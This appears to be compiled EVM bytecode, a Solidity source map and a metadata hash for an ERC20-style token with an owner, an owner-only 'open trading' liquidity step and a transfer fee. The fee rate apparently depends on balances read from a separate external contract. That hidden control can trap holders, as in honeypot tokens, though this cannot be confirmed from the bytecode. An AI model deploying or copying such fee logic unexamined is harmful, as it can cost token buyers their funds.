65f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed90611587565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600f8054610ae69061150d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b129061150d565b8015610b5d5780601f10610b3457610100808354040283529160200191610b5d565b820191905f5260205f20905b815481529060010190602001808311610b4057829003601f168201915b5050505050905090565b5f610b73338484610dc8565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906117fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd89061188a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dbb91906113b2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dff575f80fd5b5f8111610e0a575f80fd5b5f600954600a5410610e1e57600b54610e22565b6008545b90505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610e7f9190611489565b602060405180830381865afa158015610e9a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebe91906118a8565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610f49575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f615750600660149054906101000a900460ff165b15610f7c576007548111610f7757600c54610f79565b805b91505b5f610fa36064610f95858761116c90919063ffffffff16565b6111ac90919063ffffffff16565b9050610ff58460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114690919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110988161108a8660015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111d190919063ffffffff16565b61114690919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161113691906113b2565b60405180910390a3505050505050565b5f82821115611153575f80fd5b5f82846111609190611900565b90508091505092915050565b5f80830361117c575f90506111a6565b5f82846111899190611933565b905082848261119891906119a1565b146111a1575f80fd5b809150505b92915050565b5f8082116111b8575f80fd5b5f82846111c591906119a1565b90508091505092915050565b5f8082846111df91906119d1565b9050838110156111ed575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561122e578082015181840152602081019050611213565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611253826111f7565b61125d8185611201565b935061126d818560208601611211565b61127681611239565b840191505092915050565b5f6020820190508181035f8301526112998184611249565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112ce826112a5565b9050919050565b6112de816112c4565b81146112e8575f80fd5b50565b5f813590506112f9816112d5565b92915050565b5f819050919050565b611311816112ff565b811461131b575f80fd5b50565b5f8135905061132c81611308565b92915050565b5f8060408385031215611348576113476112a1565b5b5f611355858286016112eb565b92505060206113668582860161131e565b9150509250929050565b5f8115159050919050565b61138481611370565b82525050565b5f60208201905061139d5f83018461137b565b92915050565b6113ac816112ff565b82525050565b5f6020820190506113c55f8301846113a3565b92915050565b5f805f606084860312156113e2576113e16112a1565b5b5f6113ef868287016112eb565b9350506020611400868287016112eb565b92505060406114118682870161131e565b9150509250925092565b5f60ff82169050919050565b6114308161141b565b82525050565b5f6020820190506114495f830184611427565b92915050565b5f60208284031215611464576114636112a1565b5b5f611471848285016112eb565b91505092915050565b611483816112c4565b82525050565b5f60208201905061149c5f83018461147a565b92915050565b5f80604083850312156114b8576114b76112a1565b5b5f6114c5858286016112eb565b92505060206114d6858286016112eb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061152457607f821691505b602082108103611537576115366114e0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611571602083611201565b915061157c8261153d565b602082019050919050565b5f6020820190508181035f83015261159e81611565565b9050919050565b5f815190506115b3816112d5565b92915050565b5f602082840312156115ce576115cd6112a1565b5b5f6115db848285016115a5565b91505092915050565b5f6040820190506115f75f83018561147a565b611604602083018461147a565b9392505050565b5f819050919050565b5f819050919050565b5f61163761163261162d8461160b565b611614565b6112ff565b9050919050565b6116478161161d565b82525050565b5f60c0820190506116605f83018961147a565b61166d60208301886113a3565b61167a604083018761163e565b611687606083018661163e565b611694608083018561147a565b6116a160a08301846113a3565b979650505050505050565b5f815190506116ba81611308565b92915050565b5f805f606084860312156116d7576116d66112a1565b5b5f6116e4868287016116ac565b93505060206116f5868287016116ac565b9250506040611706868287016116ac565b9150509250925092565b5f6040820190506117235f83018561147a565b61173060208301846113a3565b9392505050565b61174081611370565b811461174a575f80fd5b50565b5f8151905061175b81611737565b92915050565b5f60208284031215611776576117756112a1565b5b5f6117838482850161174d565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117e6602483611201565b91506117f18261178c565b604082019050919050565b5f6020820190508181035f830152611813816117da565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611874602283611201565b915061187f8261181a565b604082019050919050565b5f6020820190508181035f8301526118a181611868565b9050919050565b5f602082840312156118bd576118bc6112a1565b5b5f6118ca848285016116ac565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61190a826112ff565b9150611915836112ff565b925082820390508181111561192d5761192c6118d3565b5b92915050565b5f61193d826112ff565b9150611948836112ff565b9250828202611956816112ff565b9150828204841483151761196d5761196c6118d3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ab826112ff565b91506119b6836112ff565b9250826119c6576119c5611974565b5b828204905092915050565b5f6119db826112ff565b91506119e6836112ff565b92508282019050808211156119fe576119fd6118d3565b5b9291505056fea2646970667358221220c07a421a9cdcfbe0bba06b8de48e839c5afea82579bfe8f502013e1ca4d4509b64736f6c63430008180033

2340:4071:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3604:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4244:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2980:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3790:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4566:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5881:527;;;:::i;:::-;;4011:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3893:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1842:148;;;;;;;;;;;;;:::i;:::-;;1630:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3695:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4402:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2901:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4102:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3604:83;3641:13;3674:5;3667:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3604:83;:::o;4244:150::-;4310:4;4327:37;4336:10;4348:7;4357:6;4327:8;:37::i;:::-;4382:4;4375:11;;4244:150;;;;:::o;2980:32::-;;;;:::o;3790:91::-;3834:7;3861:12;;3854:19;;3790:91;:::o;4566:256::-;4655:4;4672:36;4682:6;4690:9;4701:6;4672:9;:36::i;:::-;4719:73;4728:6;4736:10;4748:43;4784:6;4748:11;:19;4760:6;4748:19;;;;;;;;;;;;;;;:31;4768:10;4748:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4719:8;:73::i;:::-;4810:4;4803:11;;4566:256;;;;;:::o;5881:527::-;1767:10;1757:20;;:6;;;;;;;;;;:20;;;1749:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5954:11:::1;;;;;;;;;;;5953:12;5945:21;;;::::0;::::1;;5977:63;5994:4;6009:15;;;;;;;;;;;6027:12;;5977:8;:63::i;:::-;6083:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6065:55;;;6129:4;6136:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6065:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6051:11;;:108;;;;;;;;;;;;;;;;;;6170:15;;;;;;;;;;;:31;;;6209:9;6228:4;6234:24;6252:4;6234:9;:24::i;:::-;6260:1;6264::::0;6267:7:::1;:5;:7::i;:::-;6275:15;6170:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6309:11;;;;;;;;;;;6302:27;;;6338:15;;;;;;;;;;;6356:14;6302:69;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6396:4;6382:11;;:18;;;;;;;;;;;;;;;;;;5881:527::o:0;4011:83::-;4052:5;4077:9;;;;;;;;;;;4070:16;;4011:83;:::o;3893:110::-;3950:7;3977:9;:18;3987:7;3977:18;;;;;;;;;;;;;;;;3970:25;;3893:110;;;:::o;1842:148::-;1767:10;1757:20;;:6;;;;;;;;;;:20;;;1749:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1949:1:::1;1912:40;;1933:6;::::0;::::1;;;;;;;;1912:40;;;;;;;;;;;;1980:1;1963:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1842:148::o:0;1630:79::-;1668:7;1695:6;;;;;;;;;;;1688:13;;1630:79;:::o;3695:87::-;3734:13;3767:7;3760:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3695:87;:::o;4402:156::-;4471:4;4488:40;4498:10;4510:9;4521:6;4488:9;:40::i;:::-;4546:4;4539:11;;4402:156;;;;:::o;2901:33::-;;;;:::o;4102:134::-;4174:7;4201:11;:18;4213:5;4201:18;;;;;;;;;;;;;;;:27;4220:7;4201:27;;;;;;;;;;;;;;;;4194:34;;4102:134;;;;:::o;4830:335::-;4940:1;4923:19;;:5;:19;;;4915:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5021:1;5002:21;;:7;:21;;;4994:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5103:6;5073:11;:18;5085:5;5073:18;;;;;;;;;;;;;;;:27;5092:7;5073:27;;;;;;;;;;;;;;;:36;;;;5141:7;5125:32;;5134:5;5125:32;;;5150:6;5125:32;;;;;;:::i;:::-;;;;;;;;4830:335;;;:::o;5173:700::-;5277:1;5261:18;;:4;:18;;;5253:27;;;;;;5308:1;5299:6;:10;5291:19;;;;;;5321:21;5357:15;;5345:9;;:27;:59;;5392:12;;5345:59;;;5375:14;;5345:59;5321:83;;5415:16;5441:9;;;;;;;;;;;5434:27;;;5462:4;5434:33;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5415:52;;5498:4;5482:21;;:4;:21;;;;:44;;;;;5515:11;;;;;;;;;;;5507:19;;:4;:19;;;;5482:44;:59;;;;;5530:11;;;;;;;;;;;5482:59;5478:162;;;5585:16;;5574:8;:27;:54;;5615:13;;5574:54;;;5604:8;5574:54;5558:70;;5478:162;5650:15;5668:34;5698:3;5668:25;5679:13;5668:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;5650:52;;5731:27;5751:6;5731:9;:15;5741:4;5731:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5713:9;:15;5723:4;5713:15;;;;;;;;;;;;;;;:45;;;;5785:38;5815:7;5785:25;5803:6;5785:9;:13;5795:2;5785:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:38;;;;:::i;:::-;5769:9;:13;5779:2;5769:13;;;;;;;;;;;;;;;:54;;;;5854:2;5839:26;;5848:4;5839:26;;;5858:6;5839:26;;;;;;:::i;:::-;;;;;;;;5242:631;;;5173:700;;;:::o;87:148::-;145:7;178:1;173;:6;;165:15;;;;;;191:9;207:1;203;:5;;;;:::i;:::-;191:17;;226:1;219:8;;;87:148;;;;:::o;554:185::-;612:7;641:1;636;:6;632:23;;652:1;645:8;;;;632:23;665:9;681:1;677;:5;;;;:::i;:::-;665:17;;710:1;705;701;:5;;;;:::i;:::-;:10;693:19;;;;;;730:1;723:8;;;554:185;;;;;:::o;399:147::-;457:7;489:1;485;:5;477:14;;;;;;502:9;518:1;514;:5;;;;:::i;:::-;502:17;;537:1;530:8;;;399:147;;;;:::o;243:148::-;301:7;321:9;337:1;333;:5;;;;:::i;:::-;321:17;;362:1;357;:6;;349:15;;;;;;382:1;375:8;;;243:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:143::-;7574:5;7605:6;7599:13;7590:22;;7621:33;7648:5;7621:33;:::i;:::-;7517:143;;;;:::o;7666:351::-;7736:6;7785:2;7773:9;7764:7;7760:23;7756:32;7753:119;;;7791:79;;:::i;:::-;7753:119;7911:1;7936:64;7992:7;7983:6;7972:9;7968:22;7936:64;:::i;:::-;7926:74;;7882:128;7666:351;;;;:::o;8023:332::-;8144:4;8182:2;8171:9;8167:18;8159:26;;8195:71;8263:1;8252:9;8248:17;8239:6;8195:71;:::i;:::-;8276:72;8344:2;8333:9;8329:18;8320:6;8276:72;:::i;:::-;8023:332;;;;;:::o;8361:85::-;8406:7;8435:5;8424:16;;8361:85;;;:::o;8452:60::-;8480:3;8501:5;8494:12;;8452:60;;;:::o;8518:158::-;8576:9;8609:61;8627:42;8636:32;8662:5;8636:32;:::i;:::-;8627:42;:::i;:::-;8609:61;:::i;:::-;8596:74;;8518:158;;;:::o;8682:147::-;8777:45;8816:5;8777:45;:::i;:::-;8772:3;8765:58;8682:147;;:::o;8835:807::-;9084:4;9122:3;9111:9;9107:19;9099:27;;9136:71;9204:1;9193:9;9189:17;9180:6;9136:71;:::i;:::-;9217:72;9285:2;9274:9;9270:18;9261:6;9217:72;:::i;:::-;9299:80;9375:2;9364:9;9360:18;9351:6;9299:80;:::i;:::-;9389;9465:2;9454:9;9450:18;9441:6;9389:80;:::i;:::-;9479:73;9547:3;9536:9;9532:19;9523:6;9479:73;:::i;:::-;9562;9630:3;9619:9;9615:19;9606:6;9562:73;:::i;:::-;8835:807;;;;;;;;;:::o;9648:143::-;9705:5;9736:6;9730:13;9721:22;;9752:33;9779:5;9752:33;:::i;:::-;9648:143;;;;:::o;9797:663::-;9885:6;9893;9901;9950:2;9938:9;9929:7;9925:23;9921:32;9918:119;;;9956:79;;:::i;:::-;9918:119;10076:1;10101:64;10157:7;10148:6;10137:9;10133:22;10101:64;:::i;:::-;10091:74;;10047:128;10214:2;10240:64;10296:7;10287:6;10276:9;10272:22;10240:64;:::i;:::-;10230:74;;10185:129;10353:2;10379:64;10435:7;10426:6;10415:9;10411:22;10379:64;:::i;:::-;10369:74;;10324:129;9797:663;;;;;:::o;10466:332::-;10587:4;10625:2;10614:9;10610:18;10602:26;;10638:71;10706:1;10695:9;10691:17;10682:6;10638:71;:::i;:::-;10719:72;10787:2;10776:9;10772:18;10763:6;10719:72;:::i;:::-;10466:332;;;;;:::o;10804:116::-;10874:21;10889:5;10874:21;:::i;:::-;10867:5;10864:32;10854:60;;10910:1;10907;10900:12;10854:60;10804:116;:::o;10926:137::-;10980:5;11011:6;11005:13;10996:22;;11027:30;11051:5;11027:30;:::i;:::-;10926:137;;;;:::o;11069:345::-;11136:6;11185:2;11173:9;11164:7;11160:23;11156:32;11153:119;;;11191:79;;:::i;:::-;11153:119;11311:1;11336:61;11389:7;11380:6;11369:9;11365:22;11336:61;:::i;:::-;11326:71;;11282:125;11069:345;;;;:::o;11420:223::-;11560:34;11556:1;11548:6;11544:14;11537:58;11629:6;11624:2;11616:6;11612:15;11605:31;11420:223;:::o;11649:366::-;11791:3;11812:67;11876:2;11871:3;11812:67;:::i;:::-;11805:74;;11888:93;11977:3;11888:93;:::i;:::-;12006:2;12001:3;11997:12;11990:19;;11649:366;;;:::o;12021:419::-;12187:4;12225:2;12214:9;12210:18;12202:26;;12274:9;12268:4;12264:20;12260:1;12249:9;12245:17;12238:47;12302:131;12428:4;12302:131;:::i;:::-;12294:139;;12021:419;;;:::o;12446:221::-;12586:34;12582:1;12574:6;12570:14;12563:58;12655:4;12650:2;12642:6;12638:15;12631:29;12446:221;:::o;12673:366::-;12815:3;12836:67;12900:2;12895:3;12836:67;:::i;:::-;12829:74;;12912:93;13001:3;12912:93;:::i;:::-;13030:2;13025:3;13021:12;13014:19;;12673:366;;;:::o;13045:419::-;13211:4;13249:2;13238:9;13234:18;13226:26;;13298:9;13292:4;13288:20;13284:1;13273:9;13269:17;13262:47;13326:131;13452:4;13326:131;:::i;:::-;13318:139;;13045:419;;;:::o;13470:351::-;13540:6;13589:2;13577:9;13568:7;13564:23;13560:32;13557:119;;;13595:79;;:::i;:::-;13557:119;13715:1;13740:64;13796:7;13787:6;13776:9;13772:22;13740:64;:::i;:::-;13730:74;;13686:128;13470:351;;;;:::o;13827:180::-;13875:77;13872:1;13865:88;13972:4;13969:1;13962:15;13996:4;13993:1;13986:15;14013:194;14053:4;14073:20;14091:1;14073:20;:::i;:::-;14068:25;;14107:20;14125:1;14107:20;:::i;:::-;14102:25;;14151:1;14148;14144:9;14136:17;;14175:1;14169:4;14166:11;14163:37;;;14180:18;;:::i;:::-;14163:37;14013:194;;;;:::o;14213:410::-;14253:7;14276:20;14294:1;14276:20;:::i;:::-;14271:25;;14310:20;14328:1;14310:20;:::i;:::-;14305:25;;14365:1;14362;14358:9;14387:30;14405:11;14387:30;:::i;:::-;14376:41;;14566:1;14557:7;14553:15;14550:1;14547:22;14527:1;14520:9;14500:83;14477:139;;14596:18;;:::i;:::-;14477:139;14261:362;14213:410;;;;:::o;14629:180::-;14677:77;14674:1;14667:88;14774:4;14771:1;14764:15;14798:4;14795:1;14788:15;14815:185;14855:1;14872:20;14890:1;14872:20;:::i;:::-;14867:25;;14906:20;14924:1;14906:20;:::i;:::-;14901:25;;14945:1;14935:35;;14950:18;;:::i;:::-;14935:35;14992:1;14989;14985:9;14980:14;;14815:185;;;;:::o;15006:191::-;15046:3;15065:20;15083:1;15065:20;:::i;:::-;15060:25;;15099:20;15117:1;15099:20;:::i;:::-;15094:25;;15142:1;15139;15135:9;15128:16;;15163:3;15160:1;15157:10;15154:36;;;15170:18;;:::i;:::-;15154:36;15006:191;;;;:::o

ipfs://c07a421a9cdcfbe0bba06b8de48e839c5afea82579bfe8f502013e1ca4d4509b